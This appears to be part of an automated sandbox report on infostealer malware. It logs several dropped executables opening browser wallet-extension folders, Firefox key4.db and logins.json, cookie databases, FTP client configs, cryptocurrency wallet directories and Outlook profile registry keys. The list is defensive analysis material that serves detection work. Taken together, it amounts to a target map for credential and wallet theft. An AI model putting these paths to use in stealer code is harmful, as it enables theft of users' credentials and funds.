Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\key4.db
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
